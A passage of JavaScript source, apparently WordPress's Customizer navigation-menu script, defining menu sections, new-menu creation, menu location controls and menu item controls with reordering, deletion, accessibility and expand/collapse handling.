).contentContainer.find( '.metabox-prefs:first' ).find( '.hide-column-tog' ); fieldActiveToggles.each( handleFieldActiveToggle ); fieldActiveToggles.on( 'click', handleFieldActiveToggle ); }, populateControls: function() { var section = this, menuNameControlId, menuLocationsControlId, menuAutoAddControlId, menuDeleteControlId, menuControl, menuNameControl, menuLocationsControl, menuAutoAddControl, menuDeleteControl; // Add the control for managing the menu name. menuNameControlId = section.id + '[name]'; menuNameControl = api.control( menuNameControlId ); if ( ! menuNameControl ) { menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, { type: 'nav_menu_name', label: api.Menus.data.l10n.menuNameLabel, section: section.id, priority: 0, settings: { 'default': section.id } } ); api.control.add( menuNameControl ); menuNameControl.active.set( true ); } // Add the menu control. menuControl = api.control( section.id ); if ( ! menuControl ) { menuControl = new api.controlConstructor.nav_menu( section.id, { type: 'nav_menu', section: section.id, priority: 998, settings: { 'default': section.id }, menu_id: section.params.menu_id } ); api.control.add( menuControl ); menuControl.active.set( true ); } // Add the menu locations control. menuLocationsControlId = section.id + '[locations]'; menuLocationsControl = api.control( menuLocationsControlId ); if ( ! menuLocationsControl ) { menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, { section: section.id, priority: 999, settings: { 'default': section.id }, menu_id: section.params.menu_id } ); api.control.add( menuLocationsControl.id, menuLocationsControl ); menuControl.active.set( true ); } // Add the control for managing the menu auto_add. menuAutoAddControlId = section.id + '[auto_add]'; menuAutoAddControl = api.control( menuAutoAddControlId ); if ( ! menuAutoAddControl ) { menuAutoAddControl = new api.controlConstructor.nav_menu_auto_add( menuAutoAddControlId, { type: 'nav_menu_auto_add', label: '', section: section.id, priority: 1000, settings: { 'default': section.id } } ); api.control.add( menuAutoAddControl ); menuAutoAddControl.active.set( true ); } // Add the control for deleting the menu. menuDeleteControlId = section.id + '[delete]'; menuDeleteControl = api.control( menuDeleteControlId ); if ( ! menuDeleteControl ) { menuDeleteControl = new api.Control( menuDeleteControlId, { section: section.id, priority: 1001, templateId: 'nav-menu-delete-button' } ); api.control.add( menuDeleteControl.id, menuDeleteControl ); menuDeleteControl.active.set( true ); menuDeleteControl.deferred.embedded.done( function () { menuDeleteControl.container.find( 'button' ).on( 'click', function() { var menuId = section.params.menu_id; var menuControl = api.Menus.getMenuControl( menuId ); menuControl.setting.set( false ); }); } ); } }, /** * */ refreshAssignedLocations: function() { var section = this, menuTermId = section.params.menu_id, currentAssignedLocations = []; _.each( section.navMenuLocationSettings, function( setting, themeLocation ) { if ( setting() === menuTermId ) { currentAssignedLocations.push( themeLocation ); } }); section.assignedLocations.set( currentAssignedLocations ); }, /** * @param {Array} themeLocationSlugs Theme location slugs. */ updateAssignedLocationsInSectionTitle: function( themeLocationSlugs ) { var section = this, $title; $title = section.container.find( '.accordion-section-title button:first' ); $title.find( '.menu-in-location' ).remove(); _.each( themeLocationSlugs, function( themeLocationSlug ) { var $label, locationName; $label = $( '<span class="menu-in-location"></span>' ); locationName = api.Menus.data.locationSlugMappedToName[ themeLocationSlug ]; $label.text( api.Menus.data.l10n.menuLocation.replace( '%s', locationName ) ); $title.append( $label ); }); section.container.toggleClass( 'assigned-to-menu-location', 0 !== themeLocationSlugs.length ); }, onChangeExpanded: function( expanded, args ) { var section = this, completeCallback; if ( expanded ) { wpNavMenu.menuList = section.contentContainer; wpNavMenu.targetList = wpNavMenu.menuList; // Add attributes needed by wpNavMenu. $( '#menu-to-edit' ).removeAttr( 'id' ); wpNavMenu.menuList.attr( 'id', 'menu-to-edit' ).addClass( 'menu' ); api.Menus.MenuItemControl.prototype.initAccessibility(); _.each( api.section( section.id ).controls(), function( control ) { if ( 'nav_menu_item' === control.params.type ) { control.actuallyEmbed(); } } ); // Make sure Sortables is initialized after the section has been expanded to prevent `offset` issues. if ( args.completeCallback ) { completeCallback = args.completeCallback; } args.completeCallback = function() { if ( 'resolved' !== section.deferred.initSortables.state() ) { wpNavMenu.initSortables(); // Depends on menu-to-edit ID being set above. section.deferred.initSortables.resolve( wpNavMenu.menuList ); // Now MenuControl can extend the sortable. // @todo Note that wp.customize.reflowPaneContents() is debounced, // so this immediate change will show a slight flicker while priorities get updated. api.control( 'nav_menu[' + String( section.params.menu_id ) + ']' ).reflowMenuItems(); } if ( _.isFunction( completeCallback ) ) { completeCallback(); } }; } api.Section.prototype.onChangeExpanded.call( section, expanded, args ); }, /** * Highlight how a user may create new menu items. * * This method reminds the user to create new menu items and how. * It's exposed this way because this class knows best which UI needs * highlighted but those expanding this section know more about why and * when the affordance should be highlighted. * * @since 4.9.0 * * @return {void} */ highlightNewItemButton: function() { api.utils.highlightButton( this.contentContainer.find( '.add-new-menu-item' ), { delay: 2000 } ); } }); /** * Create a nav menu setting and section. * * @since 4.9.0 * * @param {string} [name=''] Nav menu name. * @return {wp.customize.Menus.MenuSection} Added nav menu. */ api.Menus.createNavMenu = function createNavMenu( name ) { var customizeId, placeholderId, setting; placeholderId = api.Menus.generatePlaceholderAutoIncrementId(); customizeId = 'nav_menu[' + String( placeholderId ) + ']'; // Register the menu control setting. setting = api.create( customizeId, customizeId, {}, { type: 'nav_menu', transport: api.Menus.data.settingTransport, previewer: api.previewer } ); setting.set( $.extend( {}, api.Menus.data.defaultSettingValues.nav_menu, { name: name || '' } ) ); /* * Add the menu section (and its controls). * Note that this will automatically create the required controls * inside via the Section's ready method. */ return api.section.add( new api.Menus.MenuSection( customizeId, { panel: 'nav_menus', title: displayNavMenuName( name ), customizeAction: api.Menus.data.l10n.customizingMenus, priority: 10, menu_id: placeholderId } ) ); }; /** * wp.customize.Menus.NewMenuSection * * Customizer section for new menus. * * @class wp.customize.Menus.NewMenuSection * @augments wp.customize.Section */ api.Menus.NewMenuSection = api.Section.extend(/** @lends wp.customize.Menus.NewMenuSection.prototype */{ /** * Add behaviors for the accordion section. * * @since 4.3.0 */ attachEvents: function() { var section = this, container = section.container, contentContainer = section.contentContainer, navMenuSettingPattern = /^nav_menu\[/; section.headContainer.find( '.accordion-section-title' ).replaceWith( wp.template( 'nav-menu-create-menu-section-title' ) ); /* * We have to manually handle section expanded because we do not * apply the `accordion-section-title` class to this button-driven section. */ container.on( 'click', '.customize-add-menu-button', function() { section.expand(); }); contentContainer.on( 'keydown', '.menu-name-field', function( event ) { if ( 13 === event.which ) { // Enter. section.submit(); } } ); contentContainer.on( 'click', '#customize-new-menu-submit', function( event ) { section.submit(); event.stopPropagation(); event.preventDefault(); } ); /** * Get number of non-deleted nav menus. * * @since 4.9.0 * @return {number} Count. */ function getNavMenuCount() { var count = 0; api.each( function( setting ) { if ( navMenuSettingPattern.test( setting.id ) && false !== setting.get() ) { count += 1; } } ); return count; } /** * Update visibility of notice to prompt users to create menus. * * @since 4.9.0 * @return {void} */ function updateNoticeVisibility() { container.find( '.add-new-menu-notice' ).prop( 'hidden', getNavMenuCount() > 0 ); } /** * Handle setting addition. * * @since 4.9.0 * @param {wp.customize.Setting} setting - Added setting. * @return {void} */ function addChangeEventListener( setting ) { if ( navMenuSettingPattern.test( setting.id ) ) { setting.bind( updateNoticeVisibility ); updateNoticeVisibility(); } } /** * Handle setting removal. * * @since 4.9.0 * @param {wp.customize.Setting} setting - Removed setting. * @return {void} */ function removeChangeEventListener( setting ) { if ( navMenuSettingPattern.test( setting.id ) ) { setting.unbind( updateNoticeVisibility ); updateNoticeVisibility(); } } api.each( addChangeEventListener ); api.bind( 'add', addChangeEventListener ); api.bind( 'removed', removeChangeEventListener ); updateNoticeVisibility(); api.Section.prototype.attachEvents.apply( section, arguments ); }, /** * Set up the control. * * @since 4.9.0 */ ready: function() { this.populateControls(); }, /** * Create the controls for this section. * * @since 4.9.0 */ populateControls: function() { var section = this, menuNameControlId, menuLocationsControlId, newMenuSubmitControlId, menuNameControl, menuLocationsControl, newMenuSubmitControl; menuNameControlId = section.id + '[name]'; menuNameControl = api.control( menuNameControlId ); if ( ! menuNameControl ) { menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, { label: api.Menus.data.l10n.menuNameLabel, description: api.Menus.data.l10n.newMenuNameDescription, section: section.id, priority: 0 } ); api.control.add( menuNameControl.id, menuNameControl ); menuNameControl.active.set( true ); } menuLocationsControlId = section.id + '[locations]'; menuLocationsControl = api.control( menuLocationsControlId ); if ( ! menuLocationsControl ) { menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, { section: section.id, priority: 1, menu_id: '', isCreating: true } ); api.control.add( menuLocationsControlId, menuLocationsControl ); menuLocationsControl.active.set( true ); } newMenuSubmitControlId = section.id + '[submit]'; newMenuSubmitControl = api.control( newMenuSubmitControlId ); if ( !newMenuSubmitControl ) { newMenuSubmitControl = new api.Control( newMenuSubmitControlId, { section: section.id, priority: 1, templateId: 'nav-menu-submit-new-button' } ); api.control.add( newMenuSubmitControlId, newMenuSubmitControl ); newMenuSubmitControl.active.set( true ); } }, /** * Create the new menu with name and location supplied by the user. * * @since 4.9.0 */ submit: function() { var section = this, contentContainer = section.contentContainer, nameInput = contentContainer.find( '.menu-name-field' ).first(), name = nameInput.val(), menuSection; if ( ! name ) { nameInput.addClass( 'invalid' ); nameInput.focus(); return; } menuSection = api.Menus.createNavMenu( name ); // Clear name field. nameInput.val( '' ); nameInput.removeClass( 'invalid' ); contentContainer.find( '.assigned-menu-location input[type=checkbox]' ).each( function() { var checkbox = $( this ), navMenuLocationSetting; if ( checkbox.prop( 'checked' ) ) { navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ); navMenuLocationSetting.set( menuSection.params.menu_id ); // Reset state for next new menu. checkbox.prop( 'checked', false ); } } ); wp.a11y.speak( api.Menus.data.l10n.menuAdded ); // Focus on the new menu section. menuSection.focus( { completeCallback: function() { menuSection.highlightNewItemButton(); } } ); }, /** * Select a default location. * * This method selects a single location by default so we can support * creating a menu for a specific menu location. * * @since 4.9.0 * * @param {string|null} locationId - The ID of the location to select. `null` clears all selections. * @return {void} */ selectDefaultLocation: function( locationId ) { var locationControl = api.control( this.id + '[locations]' ), locationSelections = {}; if ( locationId !== null ) { locationSelections[ locationId ] = true; } locationControl.setSelections( locationSelections ); } }); /** * wp.customize.Menus.MenuLocationControl * * Customizer control for menu locations (rendered as a <select>). * Note that 'nav_menu_location' must match the WP_Customize_Nav_Menu_Location_Control::$type. * * @class wp.customize.Menus.MenuLocationControl * @augments wp.customize.Control */ api.Menus.MenuLocationControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationControl.prototype */{ initialize: function( id, options ) { var control = this, matches = id.match( /^nav_menu_locations\[(.+?)]/ ); control.themeLocation = matches[1]; api.Control.prototype.initialize.call( control, id, options ); }, ready: function() { var control = this, navMenuIdRegex = /^nav_menu\[(-?\d+)]/; // @todo It would be better if this was added directly on the setting itself, as opposed to the control. control.setting.validate = function( value ) { if ( '' === value ) { return 0; } else { return parseInt( value, 10 ); } }; // Create and Edit menu buttons. control.container.find( '.create-menu' ).on( 'click', function() { var addMenuSection = api.section( 'add_menu' ); addMenuSection.selectDefaultLocation( this.dataset.locationId ); addMenuSection.focus(); } ); control.container.find( '.edit-menu' ).on( 'click', function() { var menuId = control.setting(); api.section( 'nav_menu[' + menuId + ']' ).focus(); }); control.setting.bind( 'change', function() { var menuIsSelected = 0 !== control.setting(); control.container.find( '.create-menu' ).toggleClass( 'hidden', menuIsSelected ); control.container.find( '.edit-menu' ).toggleClass( 'hidden', ! menuIsSelected ); }); // Add/remove menus from the available options when they are added and removed. api.bind( 'add', function( setting ) { var option, menuId, matches = setting.id.match( navMenuIdRegex ); if ( ! matches || false === setting() ) { return; } menuId = matches[1]; option = new Option( displayNavMenuName( setting().name ), menuId ); control.container.find( 'select' ).append( option ); }); api.bind( 'remove', function( setting ) { var menuId, matches = setting.id.match( navMenuIdRegex ); if ( ! matches ) { return; } menuId = parseInt( matches[1], 10 ); if ( control.setting() === menuId ) { control.setting.set( '' ); } control.container.find( 'option[value=' + menuId + ']' ).remove(); }); api.bind( 'change', function( setting ) { var menuId, matches = setting.id.match( navMenuIdRegex ); if ( ! matches ) { return; } menuId = parseInt( matches[1], 10 ); if ( false === setting() ) { if ( control.setting() === menuId ) { control.setting.set( '' ); } control.container.find( 'option[value=' + menuId + ']' ).remove(); } else { control.container.find( 'option[value=' + menuId + ']' ).text( displayNavMenuName( setting().name ) ); } }); } }); api.Menus.MenuItemControl = api.Control.extend(/** @lends wp.customize.Menus.MenuItemControl.prototype */{ /** * wp.customize.Menus.MenuItemControl * * Customizer control for menu items. * Note that 'menu_item' must match the WP_Customize_Menu_Item_Control::$type. * * @constructs wp.customize.Menus.MenuItemControl * @augments wp.customize.Control * * @inheritDoc */ initialize: function( id, options ) { var control = this; control.expanded = new api.Value( false ); control.expandedArgumentsQueue = []; control.expanded.bind( function( expanded ) { var args = control.expandedArgumentsQueue.shift(); args = $.extend( {}, control.defaultExpandedArguments, args ); control.onChangeExpanded( expanded, args ); }); api.Control.prototype.initialize.call( control, id, options ); control.active.validate = function() { var value, section = api.section( control.section() ); if ( section ) { value = section.active(); } else { value = false; } return value; }; }, /** * Set up the initial state of the screen reader accessibility information for menu items. * * @since 6.6.0 */ initAccessibility: function() { var control = this, menu = $( '#menu-to-edit' ); // Refresh the accessibility when the user comes close to the item in any way. menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility', '.menu-item', function(){ control.refreshAdvancedAccessibilityOfItem( $( this ).find( 'button.item-edit' ) ); } ); // We have to update on click as well because we might hover first, change the item, and then click. menu.on( 'click', 'button.item-edit', function() { control.refreshAdvancedAccessibilityOfItem( $( this ) ); } ); }, /** * refreshAdvancedAccessibilityOfItem( [itemToRefresh] ) * * Refreshes advanced accessibility buttons for one menu item. * Shows or hides buttons based on the location of the menu item. * * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed * * @since 6.6.0 */ refreshAdvancedAccessibilityOfItem: function( itemToRefresh ) { // Only refresh accessibility when necessary. if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) { return; } var primaryItems, itemPosition, title, parentItem, parentItemId, parentItemName, subItems, totalSubItems, $this = $( itemToRefresh ), menuItem = $this.closest( 'li.menu-item' ).first(), depth = menuItem.menuItemDepth(), isPrimaryMenuItem = ( 0 === depth ), itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(), menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-type' ).text(), totalMenuItems = $( '#menu-to-edit li' ).length; if ( isPrimaryMenuItem ) { primaryItems = $( '.menu-item-depth-0' ), itemPosition = primaryItems.index( menuItem ) + 1, totalMenuItems = primaryItems.length, // String together help text for primary menu items. title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems ); } else { parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(), parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(), parentItemName = parentItem.find( '.menu-item-title' ).text(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ), totalSubItems = subItems.length, itemPosition = $( subItems.parents( '.menu-item' ).get().reverse() ).index( menuItem ) + 1; // String together help text for sub menu items. if ( depth < 2 ) { title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ); } else { title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth ); } } $this.find( '.screen-reader-text' ).text( title ); // Mark this item's accessibility as refreshed. $this.data( 'needs_accessibility_refresh', false ); }, /** * Override the embed() method to do nothing, * so that the control isn't embedded on load, * unless the containing section is already expanded. * * @since 4.3.0 */ embed: function() { var control = this, sectionId = control.section(), section; if ( ! sectionId ) { return; } section = api.section( sectionId ); if ( ( section && section.expanded() ) || api.settings.autofocus.control === control.id ) { control.actuallyEmbed(); } }, /** * This function is called in Section.onChangeExpanded() so the control * will only get embedded when the Section is first expanded. * * @since 4.3.0 */ actuallyEmbed: function() { var control = this; if ( 'resolved' === control.deferred.embedded.state() ) { return; } control.renderContent(); control.deferred.embedded.resolve(); // This triggers control.ready(). // Mark all menu items as unprocessed. $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true ); }, /** * Set up the control. */ ready: function() { if ( 'undefined' === typeof this.params.menu_item_id ) { throw new Error( 'params.menu_item_id was not defined' ); } this._setupControlToggle(); this._setupReorderUI(); this._setupUpdateUI(); this._setupRemoveUI(); this._setupLinksUI(); this._setupTitleUI(); }, /** * Show/hide the settings when clicking on the menu item handle. */ _setupControlToggle: function() { var control = this; this.container.find( '.menu-item-handle' ).on( 'click', function( e ) { e.preventDefault(); e.stopPropagation(); var menuControl = control.getMenuControl(), isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ), isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' ); if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) { api.Menus.availableMenuItemsPanel.close(); } if ( menuControl.isReordering || menuControl.isSorting ) { return; } control.toggleForm(); } ); }, /** * Set up the menu-item-reorder-nav */ _setupReorderUI: function() { var control = this, template, $reorderNav; template = wp.template( 'menu-item-reorder-nav' ); // Add the menu item reordering elements to the menu item control. control.container.find( '.item-controls' ).after( template ); // Handle clicks for up/down/left-right on the reorder nav. $reorderNav = control.container.find( '.menu-item-reorder-nav' ); $reorderNav.find( '.menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right' ).on( 'click', function() { var moveBtn = $( this ); control.params.depth = control.getDepth(); moveBtn.focus(); var isMoveUp = moveBtn.is( '.menus-move-up' ), isMoveDown = moveBtn.is( '.menus-move-down' ), isMoveLeft = moveBtn.is( '.menus-move-left' ), isMoveRight = moveBtn.is( '.menus-move-right' ); if ( isMoveUp ) { control.moveUp(); } else if ( isMoveDown ) { control.moveDown(); } else if ( isMoveLeft ) { control.moveLeft(); } else if ( isMoveRight ) { control.moveRight(); control.params.depth += 1; } moveBtn.focus(); // Re-focus after the container was moved. // Mark all menu items as unprocessed. $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true ); } ); }, /** * Set up event handlers for menu item updating. */ _setupUpdateUI: function() { var control = this, settingValue = control.setting(), updateNotifications; control.elements = {}; control.elements.url = new api.Element( control.container.find( '.edit-menu-item-url' ) ); control.elements.title = new api.Element( control.container.find( '.edit-menu-item-title' ) ); control.elements.attr_title = new api.Element( control.container.find( '.edit-menu-item-attr-title' ) ); control.elements.target = new api.Element( control.container.find( '.edit-menu-item-target' ) ); control.elements.classes = new api.Element( control.container.find( '.edit-menu-item-classes' ) ); control.elements.xfn = new api.Element( control.container.find( '.edit-menu-item-xfn' ) ); control.elements.description = new api.Element( control.container.find( '.edit-menu-item-description' ) ); // @todo Allow other elements, added by plugins, to be automatically picked up here; // allow additional values to be added to setting array. _.each( control.elements, function( element, property ) { element.bind(function( value ) { if ( element.element.is( 'input[type=checkbox]' ) ) { value = ( value ) ? element.element.val() : ''; } var settingValue = control.setting(); if ( settingValue && settingValue[ property ] !== value ) { settingValue = _.clone( settingValue ); settingValue[ property ] = value; control.setting.set( settingValue ); } }); if ( settingValue ) { if ( ( property === 'classes' || property === 'xfn' ) && _.isArray( settingValue[ property ] ) ) { element.set( settingValue[ property ].join( ' ' ) ); } else { element.set( settingValue[ property ] ); } } }); control.setting.bind(function( to, from ) { var itemId = control.params.menu_item_id, followingSiblingItemControls = [], childrenItemControls = [], menuControl; if ( false === to ) { menuControl = api.control( 'nav_menu[' + String( from.nav_menu_term_id ) + ']' ); control.container.remove(); _.each( menuControl.getMenuItemControls(), function( otherControl ) { if ( from.menu_item_parent === otherControl.setting().menu_item_parent && otherControl.setting().position > from.position ) { followingSiblingItemControls.push( otherControl ); } else if ( otherControl.setting().menu_item_parent === itemId ) { childrenItemControls.push( otherControl ); } }); // Shift all following siblings by the number of children this item has. _.each( followingSiblingItemControls, function( followingSiblingItemControl ) { var value = _.clone( followingSiblingItemControl.setting() ); value.position += childrenItemControls.length; followingSiblingItemControl.setting.set( value ); }); // Now move the children up to be the new subsequent siblings. _.each( childrenItemControls, function( childrenItemControl, i ) { var value = _.clone( childrenItemControl.setting() ); value.position = from.position + i; value.menu_item_parent = from.menu_item_parent; childrenItemControl.setting.set( value ); }); menuControl.debouncedReflowMenuItems(); } else { // Update the elements' values to match the new setting properties. _.each( to, function( value, key ) { if ( control.elements[ key] ) { control.elements[ key ].set( to[ key ] ); } } ); control.container.find( '.menu-item-data-parent-id' ).val( to.menu_item_parent ); // Handle UI updates when the position or depth (parent) change. if ( to.position !== from.position || to.menu_item_parent !== from.menu_item_parent ) { control.getMenuControl().debouncedReflowMenuItems(); } } }); // Style the URL field as invalid when there is an invalid_url notification. updateNotifications = function() { control.elements.url.element.toggleClass( 'invalid', control.setting.notifications.has( 'invalid_url' ) ); }; control.setting.notifications.bind( 'add', updateNotifications ); control.setting.notifications.bind( 'removed', updateNotifications ); }, /** * Set up event handlers for menu item deletion. */ _setupRemoveUI: function() { var control = this, $removeBtn; // Configure delete button. $removeBtn = control.container.find( '.item-delete' ); $removeBtn.on( 'click', function() { // Find an adjacent element to add focus to when this menu item goes away. var addingItems = true, $adjacentFocusTarget, $next, $prev, instanceCounter = 0, // Instance count of the menu item deleted. deleteItemOriginalItemId = control.params.original_item_id, addedItems = control.getMenuControl().$sectionContent.find( '.menu-item' ), availableMenuItem; if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) { addingItems = false; } $next = control.container.nextAll( '.customize-control-nav_menu_item:visible' ).first(); $prev = control.container.prevAll( '.customize-control-nav_menu_item:visible' ).first(); if ( $next.length ) { $adjacentFocusTarget = $next.find( false === addingItems ? '.item-edit' : '.item-delete' ).first(); } else if ( $prev.length ) { $adjacentFocusTarget = $prev.find( false === addingItems ? '.item-edit' : '.item-delete' ).first(); } else { $adjacentFocusTarget = control.container.nextAll( '.customize-control-nav_menu' ).find( '.add-new-menu-item' ).first(); } /* * If the menu item deleted is the only of its instance left, * remove the check icon of this menu item in the right panel. */ _.each( addedItems, function( addedItem ) { var menuItemId, menuItemControl, matches; // This is because menu item that's deleted is just hidden. if ( ! $( addedItem ).is( ':visible' ) ) { return; } matches = addedItem.getAttribute( 'id' ).match( /^customize-control-nav_menu_item-(-?\d+)$/, '' ); if ( ! matches ) { return; } menuItemId = parseInt( matches[1], 10 ); menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' ); // Check for duplicate menu items. if ( menuItemControl && deleteItemOriginalItemId == menuItemControl.params.original_item_id ) { instanceCounter++; } } ); if ( instanceCounter <= 1 ) { // Revert the check icon to add icon. availableMenuItem = $( '#menu-item-tpl-' + control.params.original_item_id ); availableMenuItem.removeClass( 'selected' ); availableMenuItem.find( '.menu-item-handle' ).removeClass( 'item-added' ); } control.container.slideUp( function() { control.setting.set( false ); wp.a11y.speak( api.Menus.data.l10n.itemDeleted ); $adjacentFocusTarget.focus(); // Keyboard accessibility. } ); control.setting.set( false ); } ); }, _setupLinksUI: function() { var $origBtn; // Configure original link. $origBtn = this.container.find( 'a.original-link' ); $origBtn.on( 'click', function( e ) { e.preventDefault(); api.previewer.previewUrl( e.target.toString() ); } ); }, /** * Update item handle title when changed. */ _setupTitleUI: function() { var control = this, titleEl; // Ensure that whitespace is trimmed on blur so placeholder can be shown. control.container.find( '.edit-menu-item-title' ).on( 'blur', function() { $( this ).val( $( this ).val().trim() ); } ); titleEl = control.container.find( '.menu-item-title' ); control.setting.bind( function( item ) { var trimmedTitle, titleText; if ( ! item ) { return; } item.title = item.title || ''; trimmedTitle = item.title.trim(); titleText = trimmedTitle || item.original_title || api.Menus.data.l10n.untitled; if ( item._invalid ) { titleText = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', titleText ); } // Don't update to an empty title. if ( trimmedTitle || item.original_title ) { titleEl .text( titleText ) .removeClass( 'no-title' ); } else { titleEl .text( titleText ) .addClass( 'no-title' ); } } ); }, /** * * @return {number} */ getDepth: function() { var control = this, setting = control.setting(), depth = 0; if ( ! setting ) { return 0; } while ( setting && setting.menu_item_parent ) { depth += 1; control = api.control( 'nav_menu_item[' + setting.menu_item_parent + ']' ); if ( ! control ) { break; } setting = control.setting(); } return depth; }, /** * Amend the control's params with the data necessary for the JS template just in time. */ renderContent: function() { var control = this, settingValue = control.setting(), containerClasses; control.params.title = settingValue.title || ''; control.params.depth = control.getDepth(); control.container.data( 'item-depth', control.params.depth ); containerClasses = [ 'menu-item', 'menu-item-depth-' + String( control.params.depth ), 'menu-item-' + settingValue.object, 'menu-item-edit-inactive' ]; if ( settingValue._invalid ) { containerClasses.push( 'menu-item-invalid' ); control.params.title = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', control.params.title ); } else if ( 'draft' === settingValue.status ) { containerClasses.push( 'pending' ); control.params.title = api.Menus.data.pendingTitleTpl.replace( '%s', control.params.title ); } control.params.el_classes = containerClasses.join( ' ' ); control.params.item_type_label = settingValue.type_label; control.params.item_type = settingValue.type; control.params.url = settingValue.url; control.params.target = settingValue.target; control.params.attr_title = settingValue.attr_title; control.params.classes = _.isArray( settingValue.classes ) ? settingValue.classes.join( ' ' ) : settingValue.classes; control.params.xfn = settingValue.xfn; control.params.description = settingValue.description; control.params.parent = settingValue.menu_item_parent; control.params.original_title = settingValue.original_title || ''; control.container.addClass( control.params.el_classes ); api.Control.prototype.renderContent.call( control ); }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * @return {wp.customize.controlConstructor.nav_menu|null} */ getMenuControl: function() { var control = this, settingValue = control.setting(); if ( settingValue && settingValue.nav_menu_term_id ) { return api.control( 'nav_menu[' + settingValue.nav_menu_term_id + ']' ); } else { return null; } }, /** * Expand the accordion section containing a control */ expandControlSection: function() { var $section = this.container.closest( '.accordion-section' ); if ( ! $section.hasClass( 'open' ) ) { $section.find( '.accordion-section-title:first' ).trigger( 'click' ); } }, /** * @since 4.6.0 * * @param {Boolean} expanded * @param {Object} [params] * @return {Boolean} False if state already applied. */ _toggleExpanded: api.Section.prototype._toggleExpanded, /** * @since 4.6.0 * * @param {Object} [params] * @return {Boolean} False if already expanded. */ expand: api.Section.prototype.expand, /** * Expand the menu item form control. * * @since 4.5.0 Added params.completeCallback. * * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ expandForm: function( params ) { this.expand( params ); }, /** * @since 4.6.0 * * @param {Object} [params] * @return {Boolean} False if already collapsed. */ collapse: api.Section.prototype.collapse, /** * Collapse the menu item form control. * * @since 4.5.0 Added params.completeCallback. * * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ collapseForm: function( params ) { this.collapse( params ); }, /** * Expand or collapse the menu item control. * * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide ) * @since 4.5.0 Added params.completeCallback. * * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ toggleForm: function( showOrHide, params ) { if ( typeof showOrHide === 'undefined' ) { showOrHide = ! this.expanded(); } if ( showOrHide ) { this.expand( params ); } else { this.collapse( params ); } }, /** * Expand or collapse the menu item control. * * @since 4.6.0 * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ onChangeExpanded: function( showOrHide, params ) { var self = this, $menuitem, $inside, complete; $menuitem = this.container; $inside = $menuitem.find( '.menu-item-settings:first' ); if ( 'undefined' === typeof showOrHide ) { showOrHide = ! $inside.is( ':visible' ); } // Already expanded or collapsed. if ( $inside.is( ':visible' ) === showOrHide ) { if ( params && params.completeCallback ) { params.completeCallback(); } return; } if ( showOrHide ) { // Close all other menu item controls before expanding this one. api.control.each( function( otherControl ) { if ( self.params.type === otherControl.params.type && self !== otherControl ) { otherControl.collapseForm(); } } ); complete = function() { $menuitem .removeClass( 'menu-item-edit-inactive' ) .addClass( 'menu-item-edit-active' ); self.container.trigger( 'expanded' ); if ( params && params.completeCallback ) { params.completeCallback(); } }; $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'true' ); $inside.slideDown( 'fast', complete ); self.container.trigger( 'expand' ); } else { complete = function() { $menuitem .addClass( 'menu-item-edit-inactive' ) .removeClass( 'menu-item-edit-active' ); self.container.trigger( 'collapsed' ); if ( params && params.completeCallback ) { params.completeCallback(); } }; self.container.trigger( 'collapse' ); $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'false' ); $inside.slideUp( 'fast', complete ); } }, /** * Expand the containing menu section, expand the form, and focus on * the first input in the control. * * @since 4.5.0 Added params.completeCallback. * * @param {Object} [params] - Params object. * @param {Function} [params.completeCallback] - Optional callback function when focus has completed. */ focus: function( params ) { params = params || {}; var control = this, originalCompleteCallback = params.completeCallback, focusControl; focusControl = function() { control.expandControlSection(); params.completeCallback = function() { var focusable; // Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583 focusable = control.container.find( '.menu-item-settings' ).find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ); focusable.first().focus(); if ( originalCompleteCallback ) { originalCompleteCallback(); } }; control.expandForm( params ); }; if ( api.section.has( control.section() ) ) { api.section( control.section() ).expand( { completeCallback: focusControl } ); } else { focusControl(); } }, /** * Move menu item up one in the menu. */ moveUp: function() 